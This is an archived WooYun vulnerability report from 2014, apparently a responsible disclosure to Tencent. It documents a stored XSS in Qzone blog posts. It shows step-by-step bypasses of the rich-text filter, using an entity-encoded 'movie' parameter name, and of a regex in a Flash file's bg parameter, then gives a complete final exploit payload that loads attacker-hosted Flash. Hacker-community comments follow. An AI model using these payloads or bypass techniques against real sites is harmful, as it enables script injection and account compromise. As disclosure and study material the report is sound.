QQ空间某功能缺陷导致日志存储型XSS - 13

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048992

漏洞标题：QQ空间某功能缺陷导致日志存储型XSS - 13

漏洞作者： gainover

提交时间：2014-01-15 18:04

修复时间：2014-03-01 18:05

公开时间：2014-03-01 18:05

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-15：细节已通知厂商并且等待厂商处理中
2014-01-15：厂商已经确认，细节仅向厂商公开
2014-01-25：细节向核心白帽子及相关领域专家公开
2014-02-04：细节向普通白帽子公开
2014-02-14：细节向实习白帽子公开
2014-03-01：细节向公众公开

简要描述：

很早之前就说要把之前录视频用的QQ空间日志XSS发到乌云上来的，但一直很忙。今天下午好不容易挤点时间，重新测试了之前用的利用代码，却发现已经被腾讯修复了。。。。修复的很“精”准 T T ... 但是说出去的话，泼出去的水，只好临时再找一个来充数了。。于是只好于是乎，又跑去绕了绕腾讯修复的不是很好的FLASH文件，又绕了绕腾讯的富文本过滤器。。

详细说明：

很早之前就说要把之前录视频用的QQ空间日志XSS发到乌云上来的，但一直很忙。今天下午好不容易挤点时间，重新测试了之前用的利用代码，却发现已经被腾讯修复了。。。。修复的很精准 T T ... 但是说出去的话，泼出去的水，只好再找一个来充数了。。于是只好于是乎，又跑去绕了绕腾讯修复的不是很好的FLASH文件，又绕了绕腾讯的过滤器。。
1. 随便新建一个日志，插入一首歌，腾讯的音乐播放是通过FLASH完成的。发表日志，接着我们查看日志的源代码。出来的内容大概是以下形式。

<div class="blog_details_20120222"><DIV><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb="12985913|1|http://11.com/1.wma|bbbbbbb|0|aaaaaa|0" class="blog_music">
<param name="movie" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="data" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object></DIV></div>

2. 由于腾讯对音乐播放器的处理，在IE和non-IE下有差异，以及浏览器对object标签的处理差异，本漏洞仅在IE下适用。
3. 如果你对FLASH XSS比较熟悉的话，肯定能注意到，<param name="allowScriptAccess" value="always" />
4. 眼前一亮有没有，但是当我们尝试去改变 movie 属性的时候，眼睛就瞎了！因为腾讯肯定不会那么白痴的让你随便插FLASH地址么！
跟着我的节奏，
一起来！
看看我的测试步骤。（有没有饶舌范！）
测试1：

<param name="movie" value="http://xsst.sinaapp.com/Xss.swf" />
	结果:
	<param name="movie" value="http://xsst.sinaapp.com/Xss.swf" /> 被直接删除掉

测试2: (考虑是否是对value属性中的域名进行过滤)

<param name="movie" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf" />
	结果:
	<param name="movie" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf" /> 成功。
	<param name="allowScriptAccess" value="always" /> 被替换为 <param name="allowScriptAccess" value="never" />

由此可推测，腾讯会检测movie的value属性，从而决定是否更改allowscriptaccess的值！
测试3: (基于测试2，考虑若干绕过方法，比如本测试会复写movie属性，绕过测试2的情况)

<param name="movie" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf" /> (前面放我们自己的)
	<param name="movie" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /> (后面放原始播放器地址)
	结果:
	依然被替换为
	<param name="allowScriptAccess" value="always" /> 被替换为 <param name="allowScriptAccess" value="never" />

测试4： (在测试3的基础上，利用采用某方法成功绕过，但被腾讯修复。鉴于此方法还有利用余地，此帖不表。)
测试5：（由于原有方法失效，只能换一种方法，达到和测试4类似效果，本法通过替换movie属性的名称为实体字符）

<param name="mov&#105;e" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf" />
	结果:
	<param name="mov&#105;e" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf" /> 成功插入！
	<param name="allowScriptAccess" value="always" /> 未被替换！

测试6: （检测测试5中的value属性是否可以插入任意FLASH地址）

<param name="mov&#105;e" value="http://xsst.sinaapp.com/Xss.swf" />
	结果:
	<param name="mov&#105;e" value="#" /> 成功插入！
	<param name="allowScriptAccess" value="always" /> 未被替换！

---------------------------------------------
可见，到了测试5和测试6，我们已经可以成功插入qzs.qq.com域名下的FLASH，接着我们的任务就是在这个域名下找一个有缺陷的FLASH文件。
这里我找到的是：http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf
这个FLASH的bg参数存在缺陷。CustomSlideShow.swf 可以加载其它域名下的FLASH文件。
为了给大家研究之便，我给出这个FLASH文件，之前版本的缺陷代码，已经现在版本的缺陷代码。
前一个版本，对bg参数的过滤代码如下：

if (_bgUrl){
	_bgUrl = _bgUrl.replace(/^(https?:)?\/\/.+?\//, "/");
 };

绕过方式：
http://qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?bg=http://xsst.sinaapp.com//xsst.sinaapp.com/Xss.swf
根据正则：
http://xsst.sinaapp.com// -->被替换为--> /
http://xsst.sinaapp.com//xsst.sinaapp.com/Xss.swf -->被替换为--> //xsst.sinaapp.com/Xss.swf
但是在我今天进行测试的时候，发现腾讯已经对这种方式进行了修复，修复后的过滤代码如下：

if (_bgUrl){
	_bgUrl = _bgUrl.replace(/^(https?:)?\/\/.+?\/+/, "/");
};

这样一来，上面的绕过方式就不管用咯。但是呢，我们可以用更简单的方式绕过。
http://xsst.sinaapp.com 就不会被过滤。
这正则的判断很狗血，有木有。。
我们只需要将 http://xsst.sinaapp.com 重定向至一个FLASH文件即可。也就是说，下面这样就可以加载外部FLASH文件了：
http://qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?bg=http://xsst.sinaapp.com
--------------------
最终利用代码：

<div class="blog_details_20120222"><DIV><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb="12985913|1|http://11.com/1.wma|bbbbbbb|0|aaaaaa|0" class="blog_music">
<param name='mov&#105;e'value='always' x=/" value="http://edu.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?bg=http://xsst.sinaapp.com" />
<param name="movie" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="data" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object></DIV></div>

漏洞证明：

测试环境： WIN7 + IE8

具体细节见详细说明。

修复方案：

对日志的过滤器进行完善。
对具有缺陷的FLASH进行修复。
说太具体了，浪费精力。

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-01-15 18:53

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

漏洞评价：

2014-01-15 18:05 | xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

诈尸啊
2014-01-15 18:06 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

复活啊
2014-01-15 18:08 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫，是《红楼梦》原创的词汇，但后来演变...)

前排收wb，，，
2014-01-15 18:08 | Ricter ( 实习白帽子 | Rank:59 漏洞数:15 | 渣渣一个)

略屌..
2014-01-15 18:11 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢！！)

诈尸
2014-01-15 18:40 | Anonymous ( 普通白帽子 | Rank:146 漏洞数:30 | 园长是大傻逼)

二哥又发漏洞了
2014-01-15 18:51 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人！)

mark!
2014-01-15 19:09 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

xss
2014-01-15 19:59 | HoerWing ( 路人 | Rank:24 漏洞数:4 | "People should not be afraid of their go...)

二哥复活！！！！！！！！！！！！
2014-01-15 20:22 | niliu ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

又诈尸了
2014-01-15 21:17 | 绝情刀 ( 普通白帽子 | Rank:132 漏洞数:24 | .)

诈尸啊
2014-01-15 21:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

。。。原来还有十三额
2014-01-15 21:45 | Spid3r ( 实习白帽子 | Rank:50 漏洞数:10 | 常年撒网打鱼.)

一直是我心目中的二哥！
2014-01-16 00:08 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

打算出第二季吗？
2014-01-16 09:11 | 小川 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

哦耶，切克闹！
2014-01-16 09:12 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

这次发的是视频么！
2014-01-16 09:31 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习，向各位大神致敬)

第二季开始
2014-01-16 11:25 | xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

我擦啊
2014-01-16 11:27 | Ivan ( 实习白帽子 | Rank:81 漏洞数:9 | 小菜逼一个)

二哥屌炸天
2014-01-16 18:09 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ？)

碉堡！
2014-01-19 06:59 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

二哥，隔壁家的王寡妇说要你别找xss，回去帮他挑水呢~~~
2014-01-21 09:47 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

惊现二哥
2014-01-22 17:25 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

我去，我以为再出肯定不再是空间了，没想到啊没想到so dickful you are，did your parents know it？
2014-01-23 22:50 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

二哥好久不见了...
2014-01-24 11:02 | gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

@xiaoL =。= 太忙了，都没什么空。。
2014-02-17 13:36 | Ivan ( 实习白帽子 | Rank:81 漏洞数:9 | 小菜逼一个)

终于可见了~~
2014-02-20 18:15 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

哈哈，这个正则确实硬伤了啊， /
2014-03-01 19:08 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

原来这个漏洞的本质其实就是通过用name=movie用来定位value进行过滤器过滤额，然后把movie给htm编码后就不会被匹配到那个过滤器中了，然后always也就不会变为never了。好思路啊！
2014-03-01 19:47 | 24jason ( 普通白帽子 | Rank:165 漏洞数:30 | 《算法导论》、《具体数学》……)

犀利极了。
2014-09-20 19:59 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

cnt4

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048992

漏洞标题：QQ空间某功能缺陷导致日志存储型XSS - 13

相关厂商：腾讯

漏洞作者： gainover

提交时间：2014-01-15 18:04

修复时间：2014-03-01 18:05

公开时间：2014-03-01 18:05

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048992

漏洞标题：QQ空间某功能缺陷导致日志存储型XSS - 13

相关厂商：腾讯

漏洞作者： gainover

提交时间：2014-01-15 18:04

修复时间：2014-03-01 18:05

公开时间：2014-03-01 18:05

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2014-048992"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：